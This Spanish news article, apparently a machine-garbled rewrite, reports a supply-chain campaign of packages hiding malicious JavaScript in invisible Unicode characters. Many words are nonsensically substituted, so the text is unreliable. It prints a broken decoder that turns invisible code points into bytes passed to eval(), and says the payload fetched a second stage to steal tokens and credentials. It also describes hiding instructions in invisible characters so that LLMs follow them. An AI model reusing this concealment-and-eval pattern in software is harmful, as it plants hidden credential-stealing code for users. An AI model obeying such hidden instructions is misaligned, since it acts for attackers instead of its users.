El código invisible se representa con Áreas de uso notorio (a veces llamado Comunicación de uso notorio), que son rangos en la precisión Unicode para caracteres especiales reservados para uso privado al delimitar emojis, banderas y otros símbolos. Los puntos de código representan cada pago del alfabeto estadounidense cuando se introducen en las computadoras, pero su resultado es completamente invisible para los humanos. Personas revisando código o usando observación asombrado Las herramientas solo ven espacios en blanco o líneas en blanco. Para un intérprete de JavaScript, los puntos de código se traducen en código ejecutable.

Los caracteres invisibles Unicode se idearon hace décadas y luego se olvidaron en gran medida. Es sostener, hasta 2024, cuando los piratas informáticos comenzaron a utilizar los caracteres para ocultar mensajes maliciosos enviados a los motores de inteligencia fabricado. Si admisiblemente el texto era invisible para los humanos y los escáneres de texto, los LLM tuvieron pocos problemas para leerlo y seguir las instrucciones maliciosas que transmitían. Desde entonces, los motores de IA han ideado barreras de seguridad diseñadas para restringir el uso de los personajes, pero tales defensas son anulado periódicamente.

Desde entonces, la técnica Unicode se ha utilizado en ataques de malware más tradicionales. En uno de los paquetes de Aikido analizados en la publicación del viernes, los atacantes codificaron una carga útil maliciosa utilizando caracteres invisibles. La inspección del código no muestra falta. Sin incautación, durante el tiempo de ejecución de JavaScript, un pequeño decodificador extrae los bytes reales y los pasa a la función eval().

const s = v => (...v).map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);


eval(Buffer.from(s(``)).toString('utf-8'));

“La esclavitud de acento pesado pasada a s() parece vacía en todos los espectadores, pero está repleta de caracteres invisibles que, una vez decodificados, producen una carga maliciosa completa”, explicó Aikido. “En incidentes pasados, esa carga útil decodificada obtuvo y ejecutó un script de segunda etapa utilizando Solana como canal de entrega, capaz de robar tokens, credenciales y secretos”.

Desde que encontraron la nueva ronda de paquetes en GitHub, los investigadores encontraron otros similares en npm y el mercado de VS Code. Aikido dijo que los 151 paquetes detectados probablemente sean una pequeña fracción distribuida a lo dadivoso de la campaña porque muchos han sido eliminados desde que se cargaron por primera vez.

La mejor modo de ampararse contra el flagelo de los ataques a la esclavitud de suministro es inspeccionar cuidadosamente los paquetes y sus dependencias ayer de incorporarlos a los proyectos. Esto incluye examinar los nombres de los paquetes y averiguar errores tipográficos. Si las sospechas sobre el uso de LLM son correctas, los paquetes maliciosos pueden parecer cada vez más legítimos, particularmente cuando caracteres Unicode invisibles codifican cargas avíos maliciosas.